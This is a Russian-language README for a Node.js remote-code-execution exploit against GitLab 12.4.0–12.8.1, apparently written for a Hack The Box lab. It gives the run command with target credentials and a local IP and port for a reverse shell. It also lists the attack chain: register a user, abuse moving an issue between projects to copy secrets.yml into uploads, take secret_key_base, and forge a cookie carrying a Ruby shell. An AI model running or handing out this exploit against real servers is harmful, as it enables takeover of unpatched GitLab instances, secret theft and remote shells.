GitLab v12.4.0-12.8.1 RCE
Полностью основано на https://github.com/dotPY-hax/gitlab_RCE, который не сработал для меня, и разбор HTML казался громоздким, поэтому я переписал его на js.
Использование
Запустите обработчик обратной оболочки обычным способом, затем выполните этот скрипт:
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
Прокси может быть указан с помощью TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080".
Burp особенно полезен для отладки этого.
Что это делает
- проверяет, доступен ли целевой сервер
- если указанный пользователь существует, перейти к шагу 5
- сканирует на предмет имени пользователя, которое еще не существует
- создает этого пользователя
- пытается войти в систему
- создает два пустых проекта
- создает новую заявку (issue) с вредоносной ссылкой в ее теле в первом проекте
- перемещает новую заявку в другой проект, заставляя GitLab переписать нашу вредоносную ссылку и скопировать файл, на который она указывает, в директорию uploads
- извлекает целевой файл, в данном случае нам нужен secrets.yml для secret_key_base
- использует secret_key_base для создания вредоносного cookie с нашей Ruby-оболочкой и передает его GitLab